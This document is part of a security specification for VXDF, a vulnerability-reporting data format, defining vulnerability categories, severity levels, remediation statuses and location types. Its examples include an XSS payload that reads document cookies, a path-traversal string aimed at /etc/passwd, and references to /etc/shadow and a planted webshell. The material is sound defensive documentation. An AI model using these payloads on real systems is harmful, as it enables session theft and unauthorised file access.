- **Example Context:** Validated injection of a `<script>alert(document.cookie)</script>` payload into a user profile field, which then executes in the browser of any user viewing that profile.

INSECURE_DESERIALIZATION

- **Display Name:** Insecure Deserialization
- **Definition:** Flaws that occur when an application deserializes untrusted or manipulated serialized objects, potentially leading to remote code execution, data tampering, or denial of service.
- **Usage Guidance/Context:** Applies to applications that use serialization for communication, persistence, or other purposes, and fail to properly validate or secure the deserialization process.
- **Typical CWEs:** CWE-502 (Deserialization of Untrusted Data).
- **Example Context:** An application deserializes a Java object from an HTTP request, and an attacker crafts a malicious serialized object that, upon deserialization, executes arbitrary commands on the server.

VULNERABLE_AND_OUTDATED_COMPONENTS

- **Display Name:** Vulnerable and Outdated Components
- **Definition:** Vulnerabilities arising from the use of software components (e.g., libraries, frameworks, modules, OS packages) that are outdated, unsupported, or known to contain security weaknesses (e.g., identified by CVEs).
- **Usage Guidance/Context:** This is the primary category for findings from Software Composition Analysis (SCA) tools, once the exploitability of the component's vulnerability *in the context of the application* has been validated. The `ExploitFlow.affectedComponents` array is crucial for detailing the specific vulnerable component(s).

- **Typical CWEs:** CWE-1104 (Use of Unmaintained Third Party Components), CWE-1390 (Weakness in Software Written by Other Kinds of End Users). The CWE of the vulnerability *within* the component (e.g., if Log4j has a CWE-502 due to deserialization issues used by Text4Shell) can also be listed in `ExploitFlow.cwe`. (Note: CWE-937 is deprecated).
- **Example Context:** An application is validated to be exploitable due to its use of an old version of Apache Commons Text that has a known RCE vulnerability (e.g., CVE-2022-42889 "Text4Shell").

SERVER_SIDE_REQUEST_FORGERY

- **Display Name:** Server-Side Request Forgery (SSRF)
- **Definition:** Vulnerabilities that allow an attacker to induce a server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing.
- **Usage Guidance/Context:** Can be used to scan internal networks, access internal services, interact with cloud provider metadata endpoints, or exfiltrate data.
- **Typical CWEs:** CWE-918 (Server-Side Request Forgery (SSRF)).
- **Example Context:** An application feature that fetches content from a user-supplied URL can be manipulated to make requests to internal IP addresses or cloud metadata services, with evidence showing the interaction.

CRYPTOGRAPHIC_FAILURE

- **Display Name:** Cryptographic Failure
- **Definition:** Vulnerabilities related to the incorrect use, weak implementation, or absence of cryptography, leading to exposure of sensitive data or other security weaknesses. (This category focuses on the *failure of cryptography itself*).
- **Usage Guidance/Context:** Covers issues like use of weak/broken cryptographic algorithms, improper key management, missing encryption for sensitive data at rest or in transit (if the failure is specifically cryptographic, otherwise `SENSITIVE_DATA_EXPOSURE` might be more general), use of hardcoded keys, or insufficient randomness.
- **Typical CWEs:** CWE-310 (Cryptographic Issues), CWE-326 (Inadequate Encryption Strength), CWE-327 (Use of a Broken or Risky Cryptographic Algorithm), CWE-328 (Reversible One-Way Hash), CWE-330 (Use of Insufficiently Random Values), CWE-331 (Insufficient Entropy).
- **Example Context:** An application stores user passwords using an unsalted MD5 hash; an application uses a hardcoded secret key for encrypting sensitive session data.

FILE_AND_PATH_MANIPULATION

- **Display Name:** File and Path Manipulation
- **Definition:** Vulnerabilities that allow an attacker to manipulate file paths or file operations to access, modify, or delete unauthorized files or directories, or include unintended files for execution.
- **Usage Guidance/Context:** Covers Path Traversal (Directory Traversal), Local File Inclusion (LFI), and Remote File Inclusion (RFI - if leading to server-side execution from an external file).
- **Typical CWEs:** CWE-22 (Improper Limitation of a Pathname to a Restricted Directory - 'Path Traversal'), CWE-73 (External Control of File Name or Path), CWE-98 (Improper Control of Filename for Include/Require Statement in PHP Program - 'File Inclusion').
- **Example Context:** A validated exploit where providing `../../../../etc/passwd` as a parameter value allows an attacker to download the system's password file.

BUSINESS_LOGIC_FLAW

- **Display Name:** Business Logic Flaw
- **Definition:** Vulnerabilities that arise from flaws in the design or implementation of the application's business logic or workflow, allowing an attacker to elicit unintended behavior or circumvent business rules for malicious gain.
- **Usage Guidance/Context:** These are often highly application-specific and may not fit standard CWEs easily. The exploit involves manipulating legitimate application functionality in an unforeseen sequence or with unexpected inputs to achieve a malicious outcome not covered by other categories like injection or access control alone.
- **Typical CWEs:** CWE-840 (Business Logic Errors), CWE-841 (Improper Enforcement of Business Logic).
- **Example Context:** A validated exploit where an attacker can add an item to a cart, apply a discount meant for another item, and check out at a significantly reduced price due to flawed validation in the checkout workflow.

DENIAL_OF_SERVICE

- **Display Name:** Denial of Service (DoS)
- **Definition:** Vulnerabilities that allow an attacker to make a system, application, or network resource unavailable to its intended users, typically by overwhelming it with traffic or by triggering a condition that causes it to crash or become unresponsive.
- **Usage Guidance/Context:** For VXDF, this should ideally represent a *validated exploit* leading to DoS, not just theoretical resource exhaustion. This could be

triggering a specific crash condition, an exponential resource consumption bug (e.g., "billion laughs" for XML), or an asymmetric resource consumption attack.
- **Typical CWEs:** CWE-400 (Uncontrolled Resource Consumption), CWE-404 (Improper Resource Shutdown or Release), CWE-770 (Allocation of Resources Without Limits or Throttling).
- **Example Context:** Sending a specifically crafted request that causes an application thread to enter an infinite loop, consuming 100% CPU and making the application unresponsive to other users.

MEMORY_CORRUPTION

- **Display Name:** Memory Corruption
- **Definition:** Vulnerabilities that allow an attacker to write to, read from, or execute memory in unintended ways, often due to programming errors in languages like C/C++.
- **Usage Guidance/Context:** Covers buffer overflows (stack, heap), use-after-free, double-free, format string vulnerabilities, integer overflows leading to memory issues, etc.. While often associated with system-level software, these can occur in web applications or services written in or using native code components. Validation often involves causing a crash and analyzing it, or demonstrating controlled memory overwrite.
- **Typical CWEs:** CWE-119 (Improper Restriction of Operations within the Bounds of a Memory Buffer), CWE-120 (Buffer Copy without Checking Size of Input - 'Classic Buffer Overflow'), CWE-125 (Out-of-bounds Read), CWE-415 (Double Free), CWE-416 (Use After Free), CWE-134 (Use of Externally-Controlled Format String).
- **Example Context:** A validated buffer overflow in a file parsing library used by a web application, triggered by uploading a malicious file, leading to a crash (and potentially RCE).

OTHER_VULNERABILITY

- **Display Name:** Other Vulnerability
- **Definition:** A validated vulnerability that does not clearly fit into any of the other predefined categories.
- **Usage Guidance:** Use this category sparingly. Before selecting "OTHER", review if the vulnerability could be classified under a more specific existing category, perhaps by considering its root cause or primary impact. When this category is used, the `ExploitFlow.title` and `ExploitFlow.description` `MUST` be very clear and descriptive about the nature of the vulnerability. It might be used for highly novel or application-specific flaws that defy common classifications.

- **Typical CWEs:** N/A (depends on the specific nature; should be detailed in `ExploitFlow.cwe`).
- **Example Context:** A complex timing attack that exploits a very specific, non-standard interaction between multiple custom components in a distributed system, not fitting typical race condition patterns.

(This list provides a foundational set of categories. It can be evolved in future versions of the VXDF specification based on community feedback and emerging vulnerability trends. Producers are encouraged to map their findings to the most appropriate category here to facilitate consistent reporting and analysis.)

Appendix K: `Severity.level` - Definitions

This appendix provides definitions and usage guidance for the `level` enumeration values used within the `Severity` object in the VXDF v1.0.0 specification. The `Severity.level` provides a qualitative assessment of the urgency and potential impact of a validated vulnerability. While VXDF also supports quantitative scoring via CVSS within the `Severity` object (see `$defs/CvssV3_1` and `$defs/CvssV4_0` in Appendix A: Normative JSON Schema), this `level` offers a standardized, human-readable classification. Producers `SHOULD` align this qualitative level with any provided CVSS scores (e.g., a CVSS Base Score of 9.0-10.0 typically corresponds to "CRITICAL"). If both qualitative `level` and CVSS scores are present, the `Severity.justification` field can be used to explain any discrepancies or provide context for the chosen level.

CRITICAL

- **Display Name:** Critical
- **Definition:** Vulnerabilities that, if exploited, are highly likely to result in a widespread, catastrophic impact on the confidentiality, integrity, or availability of the system or its data. Exploitation is often straightforward or can be automated, potentially requiring minimal or no authentication or user interaction.
- **Usage Guidance:**
    - Use for vulnerabilities that could lead to complete system compromise, remote code execution with high privileges, large-scale sensitive data exfiltration or destruction, or significant disruption of essential services.
    - Typically corresponds to the highest range of CVSS scores (e.g., CVSS Base Score 9.0-10.0).
    - These vulnerabilities demand immediate attention and remediation.

- **Example Context:** A remote unauthenticated command injection allowing full server takeover; a SQL injection that allows an attacker to dump the entire user database containing PII and credentials.

HIGH

- **Display Name:** High
- **Definition:** Vulnerabilities that can lead to significant impact on the system or data, such as unauthorized access to sensitive information, modification of important data, or disruption of key functionalities. Exploitation might be relatively easy for a skilled attacker, possibly requiring some level of privilege or specific conditions, but the potential consequences are severe.
- **Usage Guidance:**
  - Use for vulnerabilities that could result in significant data breaches, privilege escalation to administrator, persistent denial of service, or the ability to execute arbitrary code in a restricted context.
  - Typically corresponds to upper-mid to high range of CVSS scores (e.g., CVSS Base Score 7.0-8.9).
  - These vulnerabilities require urgent attention and remediation.
- **Example Context:** A stored Cross-Site Scripting (XSS) vulnerability on a high-traffic page allowing session hijacking of administrative users; a privilege escalation flaw allowing a regular user to gain administrative rights on a system.

MEDIUM

- **Display Name:** Medium
- **Definition:** Vulnerabilities that could lead to a moderate impact, such as limited information disclosure, partial data modification, or temporary denial of service for some users or functionalities. Exploitation might require more specific conditions, higher attacker skill, or some level of user interaction.
- **Usage Guidance:**
  - Use for vulnerabilities that have a noticeable but not catastrophic impact. The exploit might be more complex or less reliable.
  - Typically corresponds to the middle range of CVSS scores (e.g., CVSS Base Score 4.0-6.9).
  - These vulnerabilities should be addressed in a timely manner as part of regular patching and development cycles.
- **Example Context:** A reflected XSS vulnerability requiring significant user interaction on a less sensitive part of an application; an information leak exposing non-critical configuration details; a denial of service that affects a non-essential feature.

LOW

- **Display Name:** Low
- **Definition:** Vulnerabilities that have a minimal impact on the system or data. Exploitation is typically difficult, requires highly specific or unlikely circumstances, or results in very limited consequences.
- **Usage Guidance:**
  - Use for issues that pose a minor risk, such as very limited information disclosure of non-sensitive data, minor application misbehavior with no security implications, or vulnerabilities that are extremely hard to exploit.
  - Typically corresponds to the lower range of CVSS scores (e.g., CVSS Base Score 0.1-3.9).
  - These vulnerabilities should be addressed when possible, but are generally lower priority.
- **Example Context:** Disclosure of server software version numbers in HTTP headers (without other exploitable conditions); a self-XSS that requires the user to paste code into their own browser; a theoretical denial of service requiring an attacker to send an extremely high volume of malformed packets over an extended period.

INFORMATIONAL

- **Display Name:** Informational
- **Definition:** Findings that do not represent a direct, exploitable security vulnerability but provide information that might be useful for security hardening, context, or indicate a deviation from best practices that doesn't immediately pose a risk. This level can also be used for findings that are confirmed `not_affected` by a VEX analysis, but where the VXDF is used to document the *analysis* of a potential issue.
- **Usage Guidance:**
  - Use for observations like the presence of unnecessary open ports (if no service is exploitable), verbose error messages that don't leak highly sensitive data, suggestions for security improvements, or to document the outcome of validating a potential issue that turned out not to be exploitable in the current context.
  - Typically corresponds to a CVSS Base Score of 0.0 or situations where CVSS is not applicable.
  - These findings generally do not require immediate remediation but should be reviewed for potential future risks or opportunities for improvement.
- **Example Context:** A list of enabled TLS cipher suites that includes some older but not yet critically broken ciphers; a finding that a specific directory listing is

enabled but contains no sensitive files; documentation of why a CVE flagged by a scanner is not exploitable in the specific application configuration.

NONE

- **Display Name:** None
- **Definition:** Indicates that no security impact has been identified or the finding does not constitute a weakness. This might be used in specific reporting contexts where a severity level is required, but the item itself is not a vulnerability.
- **Usage Guidance:**
    - Use with extreme caution and typically only in specific contexts where a "severity" is required but the item is definitively not a security issue (e.g., a finding that was investigated and found to have zero security implications, or to explicitly mark a VEX "not_affected" finding where severity is a mandatory field in a combined report).
    - It is generally preferred to use `INFORMATIONAL` for findings that are not direct vulnerabilities but provide some security-relevant context. `NONE` implies an even lower (or absent) level of security concern than `INFORMATIONAL`.
    - Typically corresponds to a CVSS Base Score of 0.0.
- **Example Context:** A system audit entry that requires a severity but is noting a purely functional bug with no security implications whatsoever, or explicitly marking a component as "not affected" by a CVE in a system that requires a severity for all entries.

Appendix L: `ExploitFlow.status` - Definitions

This appendix provides definitions and usage guidance for the `status` enumeration values that can be used within the `ExploitFlow` object in the VXDF v1.0.0 specification. The `status` field indicates the current stage of a validated vulnerability finding within a vulnerability management or remediation lifecycle. The default value, if not specified, is "OPEN".

OPEN

- **Display Name:** Open

- **Definition:** The vulnerability has been validated as exploitable and is newly reported or has not yet been addressed. This is typically the initial state of a new `ExploitFlow`.
- **Usage Guidance:**
    - Use this status for newly created VXDF findings that require triage, assignment, and remediation planning.
    - It indicates that the vulnerability is active and poses a potential risk.

UNDER_INVESTIGATION

- **Display Name:** Under Investigation
- **Definition:** The validated vulnerability finding is actively being investigated to understand its full impact, root cause, or to determine the best remediation strategy.
- **Usage Guidance:**
    - Use this status when the finding has been acknowledged and is being analyzed by the relevant teams (e.g., security team, development team).
    - This state precedes active remediation work.
- **Example Context:** After a VXDF is received, a security engineer sets the status to `UNDER_INVESTIGATION` while they replicate the issue and consult with developers on the affected code.

REMEDIATION_IN_PROGRESS

- **Display Name:** Remediation in Progress
- **Definition:** Efforts to fix or mitigate the validated vulnerability are currently underway.
- **Usage Guidance:**
    - Use this status when developers are actively working on a code fix, configuration change, or when a mitigating control is being implemented.
    - Indicates that the issue is being addressed but is not yet resolved.
- **Example Context:** A developer has been assigned the VXDF finding and is currently coding a patch to address the SQL injection.

REMEDIATED

- **Display Name:** Remediated
- **Definition:** A fix or mitigation for the validated vulnerability has been implemented and deployed to the relevant environment(s). However, the effectiveness of the remediation has not yet been formally verified.
- **Usage Guidance:**

    - Use this status once the development team or system administrators report that a fix is in place.
    - This state typically triggers a re-testing or verification phase.
- **Example Context:** The patch for the SQL injection has been deployed to the staging environment.

REMEDIATION_VERIFIED

- **Display Name:** Remediation Verified
- **Definition:** The implemented fix or mitigation for the validated vulnerability has been tested and confirmed to be effective. The vulnerability is no longer exploitable under the conditions previously demonstrated.
- **Usage Guidance:**
    - Use this status after re-testing (e.g., re-running the PoC from the VXDF `Evidence`, performing a targeted DAST scan, or manual re-validation) confirms that the vulnerability is resolved.
    - This is typically the desired end state for most "OPEN" vulnerabilities.
- **Example Context:** After the patch deployment, a security tester re-runs the original SQL injection payload and confirms it no longer works and the application behaves securely.

FALSE_POSITIVE_AFTER_REVALIDATION

- **Display Name:** False Positive (After Re-validation)
- **Definition:** Although initially validated and reported in a VXDF, subsequent, more thorough investigation or re-validation (perhaps with more context or by a different team/tool) has determined that the finding was, in fact, a false positive, or the initial validation was flawed.
- **Usage Guidance:**
    - Use this status with caution and typically after a rigorous re-assessment.
    - Since VXDF implies prior validation, this status indicates a correction to that initial assessment.
    - The `ExploitFlow.description` or a new `Evidence` item (perhaps of type `MANUAL_VERIFICATION_NOTES`) `SHOULD` detail the reasons for reclassifying it as a false positive.
    - This helps in refining validation processes and tools.
- **Example Context:** An initial automated validation suggested an exploit was possible. However, a deeper manual review revealed a subtle, overlooked compensating control that renders the exploit path non-viable in the production environment.

ACCEPTED_RISK

- **Display Name:** Accepted Risk
- **Definition:** The validated vulnerability is acknowledged, but a conscious decision has been made by the appropriate stakeholders (e.g., business owner, risk management team) not to remediate it at this time. This decision is typically based on a risk assessment (e.g., low impact, high remediation cost, compensating controls deemed sufficient for now).
- **Usage Guidance:**
  - This status `SHOULD` be accompanied by clear justification, ideally documented within the `ExploitFlow.description`, a linked `Evidence` item (e.g., `MANUAL_VERIFICATION_NOTES` referencing a risk assessment document), or `ExploitFlow.customProperties`.
  - Risk acceptance often has a defined review period.
- **Example Context:** A low-impact information disclosure vulnerability is identified, but the cost of fixing it in a legacy system outweighs the potential damage, and the data is not highly sensitive. The risk is formally accepted by management.

DEFERRED

- **Display Name:** Deferred
- **Definition:** The validated vulnerability is acknowledged as a true positive and requires remediation, but the fix is intentionally postponed to a later date or release.
- **Usage Guidance:**
  - Use this when remediation is planned but not immediate, perhaps due to resource constraints, dependency on other changes, or a scheduled release cycle.
  - The `ExploitFlow.description` or `customProperties` `SHOULD` ideally note the reason for deferral and the target timeframe or condition for remediation.
- **Example Context:** A medium-severity vulnerability is found, but the fix requires a significant architectural change that is planned for the next major release in three months.

OTHER

- **Display Name:** Other
- **Definition:** The status of the validated vulnerability finding is known but does not fit into any of the other predefined status categories.
- **Usage Guidance:**
  - Use this sparingly.

    - When this value is used, the `ExploitFlow.description` or `customProperties` `MUST` provide a clear explanation of the specific status.
- **Example Context:** The vulnerability is in a third-party component, and the organization is waiting for the vendor to release a patch, but it's not yet "REMEDIATION_IN_PROGRESS" by the internal team.

Appendix M: `Location.locationType` - Definitions and Usage Guidance

This appendix provides detailed definitions, usage guidance, and a summary of typically relevant properties for each `locationType` enumeration value used within the `Location` object in the VXDF v1.0.0 specification. The `locationType` field specifies the nature of the resource or entity being identified by the `Location` object. Selecting the most appropriate `locationType` is crucial for accurately describing the context of a vulnerability's source, sink, `TraceStep.location`, or `AffectedComponent.locations`. For each `locationType`, guidance is provided on which other properties within the `Location` object are typically most relevant and SHOULD be populated to provide comprehensive detail. Refer to Appendix A (Normative JSON Schema) under `$defs/Location` for the full list of available properties within the `Location` object.

SOURCE_CODE_UNIT

- **Display Name:** Source Code Unit
- **Definition:** Refers to a specific location within an application's or component's source code, such as a file, a function, a class, a method, or a specific range of lines and columns.
- **Usage Guidance:** Use this to pinpoint vulnerabilities directly in application or library source code (e.g., the sink of an SQL injection, the source of user input handling, a vulnerable function). This is the primary type for describing source, sink, and steps in many code-level vulnerabilities identified through SAST, IAST, or manual code review.
- **Relevant `Location` Properties to Populate:**
    - `filePath` (String, Mandatory): Path to the source code file (e.g., src/main/java/com/example/UserController.java, app/models/user.rb).
    - `startLine` (Integer, Mandatory): The one-based starting line number of the relevant code segment.
    - `endLine` (Integer, Optional): The one-based ending line number if the location spans multiple lines.
    - `startColumn` (Integer, Optional): The one-based starting column number within the `startLine`.

    - `endColumn` (Integer, Optional): The one-based ending column number within the `endLine` (or `startLine` if `endLine` is not specified).
    - `snippet` (String, Optional): A brief snippet of the relevant source code (e.g., 1-5 lines showing the vulnerable statement and its immediate context).
    - `fullyQualifiedName` (String, Optional): The fully qualified name of the enclosing function, method, class, or namespace (e.g., com.example.service.AuthService.loginUser, User::calculate_discount).
    - `symbol` (String, Optional): The specific variable name, function parameter, or other symbol of interest at this location.
    - `uri` (String, Optional, URI Format): A URI pointing to the code, potentially including line/column information (e.g., a repository URL like https://github.com/org/repo/blob/commit-hash/src/file.py#L10-L12).
    - `uriBaseId` (String, Optional): If `uri` is relative, this references a base URI defined elsewhere (e.g., in `VXDFPayload.applicationInfo` or using SARIF-like artifact definitions if adopted).

WEB_ENDPOINT_PARAMETER

- **Display Name:** Web Endpoint Parameter
- **Definition:** Refers to a specific parameter within an HTTP request to a web application endpoint (URL), which could be part of the query string, request body, path segment, header, or cookie.
- **Usage Guidance:** Use this to identify the source of tainted input originating from web requests (e.g., a GET query parameter `id`, a POST form field `username`, a JSON body field `user.address.zipCode`, a URL path segment like `/users/{userId}/profile`). Crucial for describing web application vulnerabilities like injections (SQLi, XSS, Command Injection), Insecure Direct Object References (IDORs), Server-Side Request Forgery (SSRF), etc..
- **Relevant `Location` Properties to Populate:**
    - `url` (String, Mandatory, URI Format): The base URL of the endpoint being targeted (e.g., https://api.example.com/v1/users, https://example.com/search).
    - `httpMethod` (String, Mandatory, Enum): The HTTP method used for the request (e.g., "GET", "POST", "PUT").
    - `parameterName` (String, Mandatory): The name of the parameter (e.g., "userId", "searchTerm", "file_id"). For nested parameters (e.g., in JSON), this should use JSON Pointer notation (RFC 6901, e.g., "/user/profile/email") when `parameterLocation` is `body_json_pointer`. For XML, XPath 1.0 can be used with `body_xml_xpath`.
    - `parameterLocation` (String, Mandatory, Enum): Specifies where the parameter is found within the HTTP request (e.g., `query`, `body_form`,

    `body_json_pointer`, `body_xml_xpath`, `body_multipart_field_name`, `path_segment`, `header`, `cookie`).
  - `description` (String, Optional): Provides context, e.g., "User-controlled 'id' parameter in the URL query string used to fetch records.".
  - `snippet` (String, Optional): If applicable, a snippet of the request part showing the parameter (e.g., `...?id=123&...`, or a part of a JSON body `{ "id": "123" }`).

WEB_HTTP_HEADER

- **Display Name:** Web HTTP Header
- **Definition:** Refers to a specific HTTP header in either a request or a response.
- **Usage Guidance:** As a source: When an HTTP request header is the entry point for tainted input (e.g., User-Agent for log injection, Referer for some XSS, custom headers like X-API-Key if manipulated). As the locus of a misconfiguration (often within `AffectedComponent.locations`): When a vulnerability relates to the presence, absence, or value of an HTTP *response* header (e.g., missing or weak Content-Security-Policy, X-Frame-Options, Strict-Transport-Security).
- **Relevant `Location` Properties to Populate:**
  - `headerName` (String, Mandatory): The name of the HTTP header (e.g., "User-Agent", "X-Content-Type-Options", "Authorization").
  - `url` (String, Optional, URI Format): The URL of the request or response this header belongs to, providing context.
  - `httpMethod` (String, Optional, Enum): The HTTP method, if it's a request header.
  - `settingValue` (String, Optional): The observed value of the header, if relevant (e.g., for a misconfigured response header like `Server: Apache/2.2.15 (Unix)`).
  - `description` (String, Optional): e.g., "Untrusted 'X-Forwarded-For' header used for IP logging." or "Missing 'Strict-Transport-Security' response header on primary domain.".

WEB_COOKIE

- **Display Name:** Web Cookie
- **Definition:** Refers to a specific HTTP cookie.
- **Usage Guidance:** Use when a cookie is the source of tainted input (e.g., a serialized object in a cookie, user ID in a cookie used for authorization checks) or when vulnerabilities relate to cookie attributes (e.g., missing HttpOnly, Secure, or SameSite flags; insecure cookie content).
- **Relevant `Location` Properties to Populate:**

- `cookieName` (String, Mandatory): The name of the cookie (e.g., "sessionid", "user_prefs").
- `url` (String, Optional, URI Format): The domain and path context for which the cookie is set or relevant.
- `settingValue` (String, Optional): The value of the cookie, if its content is directly part of the vulnerability (use with caution if sensitive).
- `description` (String, Optional): e.g., "User session ID cookie 'JSESSIONID' missing HttpOnly and Secure flags." or "User role 'user_role=admin' in cookie is not integrity-checked.".

SOFTWARE_COMPONENT_LIBRARY

- **Display Name:** Software Component/Library
- **Definition:** Refers to a specific software library, framework, or third-party dependency that is part of the application stack.
- **Usage Guidance:** Use this `locationType` when the `Location` object is intended to pinpoint a finding within a specific library that is itself part of an `AffectedComponent` of type `SOFTWARE_LIBRARY`. It can be used to specify the source or sink of a flow if that point lies within the code of this library, or as a location within `AffectedComponent.locations`. This type is often relevant for vulnerabilities identified by SCA tools where the flaw is in the library, and VXDF aims to show how that library flaw is reached or exploitable in the application context.
- **Relevant `Location` Properties to Populate:**
    - `componentName` (String, Mandatory): The human-readable name of the library/component (e.g., "Apache Commons Text", "Log4j Core").
    - `componentVersion` (String, Optional): The version of the library/component (e.g., "1.9", "2.14.1").
    - `purl` (String, Optional): Package URL (PURL) for precise, tool-agnostic identification of the component. Highly Recommended.
    - `cpe` (String, Optional): Common Platform Enumeration (CPE) for the component.
    - `ecosystem` (String, Optional): The software ecosystem (e.g., "Maven", "npm", "PyPI", "NuGet").
    - `filePath` (String, Optional): Path to the library file if relevant (e.g., WEB-INF/lib/commons-text-1.9.jar), or path to a source file within the library if source is available.
    - `fullyQualifiedName` (String, Optional): If pointing to a specific vulnerable class/method within the library's code (e.g., `org.apache.commons.text.lookup.ScriptStringLookup.lookup`).
    - `startLine`, `snippet`, etc.: If pointing to a specific line of code within the library.

CONFIGURATION_FILE_SETTING

- **Display Name:** Configuration File Setting
- **Definition:** Refers to a specific setting, directive, key-value pair, or section within a configuration file.
- **Usage Guidance:** Use this to precisely pinpoint misconfigurations that lead to vulnerabilities (e.g., a specific insecure directive in nginx.conf, a debug flag set to true in application.properties, a weak permission in an XML-based security policy file). Often used as a `Location` within an `AffectedComponent` of `componentType: CONFIGURATION_FILE`.
- **Relevant `Location` Properties to Populate:**
    - `filePath` (String, Mandatory): Full path to the configuration file (e.g., /etc/ssh/sshd_config, WEB-INF/web.xml, src/main/resources/config.yml).
    - `settingName` (String, Mandatory): The name of the setting, key, XML element/attribute, or directive (e.g., "PermitRootLogin", "debug_mode", "ssl_protocols", "//@enabled" for an XML attribute). Path-like expressions or JSON Pointers/XPath can be used for nested settings.
    - `settingValue` (String, Optional): The observed (misconfigured) value of the setting (e.g., "yes", "true", "TLSv1 TLSv1.1").
    - `snippet` (String, Optional): The line(s) from the configuration file showing the setting and its immediate context.
    - `description` (String, Optional): e.g., "TLS 1.0 enabled in web server SSL configuration block.".

FILE_SYSTEM_ARTIFACT

- **Display Name:** File System Artifact
- **Definition:** Refers to a specific file or directory on a file system.
- **Usage Guidance:** Use for vulnerabilities involving direct file manipulation (e.g., Path Traversal, Local File Inclusion), insecure file permissions, sensitive data stored in world-readable files, or when a file itself (like a script with SUID bits or an exposed private key file) is the vulnerable entity. Can be a source (e.g., reading a user-controlled filename), sink (e.g., writing to an arbitrary path), or an `AffectedComponent.locations` entry.
- **Relevant `Location` Properties to Populate:**
    - `filePath` (String, Mandatory): The full path to the file or directory (e.g., /var/log/sensitive.log, /etc/passwd, /tmp/attacker_shell.php).
    - `description` (String, Optional): e.g., "Sensitive log file '/var/log/app_debug.log' has world-readable permissions." or "Target of path traversal: '/etc/shadow'." or "Uploaded webshell at '/var/www/html/uploads/shell.php'.".
    - `snippet` (String, Optional): If the content of the file is relevant and short (e.g., for a small script, or to show permissions if represented textually).
    - `customProperties` (Object, Optional): Could store file permissions, owner, group if not captured elsewhere.

NETWORK_SERVICE_ENDPOINT

- **Display Name:** Network Service Endpoint
- **Definition:** Refers to a specific network service listening on an IP address and port combination.
- **Usage Guidance:** Use for vulnerabilities in network services themselves (e.g., an unpatched SSH server version, an exposed and unauthenticated database port, a vulnerable custom TCP/UDP service, a misconfigured default port for an admin service). Can be a source (e.g., data received over a network socket into the application), a sink (e.g., an application making a request to a vulnerable internal service as part of an SSRF), or the locus of a misconfiguration described in `AffectedComponent.locations` (where `AffectedComponent.componentType` might be `SERVICE_ENDPOINT` or `NETWORK_INFRASTRUCTURE_DEVICE`).
- **Relevant `Location` Properties to Populate:**
  - `ipAddress` (String, Optional, IPv4 or IPv6 Format): The IP address where the service is listening.
  - `hostname` (String, Optional, Hostname Format): The hostname resolving to the service's IP. (Typically, either `ipAddress` or `hostname` should be provided).
  - `port` (Integer, Mandatory): The port number on which the service is listening.
  - `protocol` (String, Mandatory, Enum suggested): The network protocol (e.g., "TCP", "UDP", "SCTP"; or application protocols like "HTTP", "HTTPS", "FTP", "SSH", "RDP" if the context is about that service specifically).
  - `description` (String, Optional): e.g., "Unauthenticated Redis service listening on 0.0.0.0:6379." or "Outdated OpenSSH server v7.4 on internal host 10.1.1.5:22.".

DATABASE_SCHEMA_OBJECT

- **Display Name:** Database Schema Object
- **Definition:** Refers to a specific object within a database schema, such as a table, column, stored procedure, function, view, trigger, or even a specific part of a query statement that is identified as vulnerable.
- **Usage Guidance:** Use to precisely pinpoint the database element involved in a vulnerability, especially for SQL injections (where this might be the sink), insecure stored procedures, excessive privileges on database objects, or data exposure from specific tables/columns. Can be a sink (e.g., a table where injection allows data modification, a vulnerable stored procedure being executed) or detailed in `AffectedComponent.locations`.
- **Relevant `Location` Properties to Populate:**
  - `databaseType` (String, Optional): Type of the database system (e.g., "MySQL", "PostgreSQL", "Oracle", "SQLServer", "MongoDB", "SQLite").
  - `databaseName` (String, Optional): Name of the specific database or schema.

    - `objectType` (String, Mandatory): Type of database object (e.g., "TABLE", "COLUMN", "STORED_PROCEDURE", "USER_DEFINED_FUNCTION", "VIEW", "TRIGGER", "QUERY_FRAGMENT").
    - `objectName` (String, Mandatory): Name of the database object (e.g., "users", "users.password_hash", "sp_GetUserProfileByNameUnsafe", "customer_orders.credit_card_number_column"). For a `QUERY_FRAGMENT`, this might be a conceptual name for the part of the query.
    - `snippet` (String, Optional): If `objectType` is `QUERY_FRAGMENT` or related to procedural code, this can hold the vulnerable SQL query snippet or procedural code.
    - `description` (String, Optional): e.g., "Stored procedure 'sp_LegacyUserUpdate' vulnerable to SQL injection via @userName parameter." or "Column 'user_credentials.password_salt' found to be NULL for multiple records.".

ENVIRONMENT_VARIABLE

- **Display Name:** Environment Variable
- **Definition:** Refers to a specific environment variable accessible to a process or system.
- **Usage Guidance:** Use when an environment variable is the source of untrusted input that is not properly handled, contains sensitive data that is improperly exposed (e.g., logged or accessible), or its value influences a vulnerability.
- **Relevant `Location` Properties to Populate:**
    - `environmentVariableName` (String, Mandatory): The name of the environment variable (e.g., "DATABASE_PASSWORD", "API_KEY_SECRET", "LD_PRELOAD", "DEBUG_MODE").
    - `settingValue` (String, Optional): The value of the environment variable. Use extreme caution if this value is sensitive; prefer to describe the implication rather than exposing the secret directly in VXDF.
    - `description` (String, Optional): e.g., "Sensitive database password found in environment variable 'PROD_DB_PASS' accessible to web server process." or "User-controllable 'LD_LIBRARY_PATH' environment variable allows loading of arbitrary shared libraries.".

OPERATING_SYSTEM_REGISTRY_KEY

- **Display Name:** Operating System Registry Key
- **Definition:** Refers to a specific key or value within an operating system's registry, most commonly the Windows Registry.
- **Usage Guidance:** Use for vulnerabilities related to insecure registry permissions allowing unauthorized modification, sensitive data stored insecurely in the registry, or system/application misconfigurations controlled via registry keys that lead to a vulnerability.

- **Relevant `Location` Properties to Populate:**
  - `filePath` (String, Mandatory): The full path to the registry key (e.g., `HKEY_LOCAL_MACHINE\SOFTWARE\ExampleApp\Settings\ApiKey`, `HKCU\System\Scripts\Autorun`).
  - `settingName` (String, Optional): The name of the specific registry value within the key (e.g., "ApiKey", "(Default)").
  - `settingValue` (String, Optional): The data of the registry value. Use with caution if sensitive.
  - `description` (String, Optional): e.g., "Registry key 'HKLM\Software\MyApp\AdminPassword' stores admin password in cleartext and is readable by non-privileged users.".

CLOUD_PLATFORM_RESOURCE

- **Display Name:** Cloud Platform Resource
- **Definition:** Refers to a specific resource, service instance, or configuration setting within a cloud computing platform (e.g., an AWS IAM policy statement, an Azure Network Security Group rule, a GCP Cloud Storage bucket ACL, a Kubernetes Pod Security Policy).
- **Usage Guidance:** Use for vulnerabilities related to misconfigurations, weaknesses, or insecure defaults in cloud infrastructure or services that are not necessarily tied to a single configuration file or simple service endpoint but rather to the platform's resource management and configuration APIs/interfaces. This is often used as a `Location` within an `AffectedComponent` where the `componentType` might be `CLOUD_SERVICE_COMPONENT` or a more specific cloud service type.
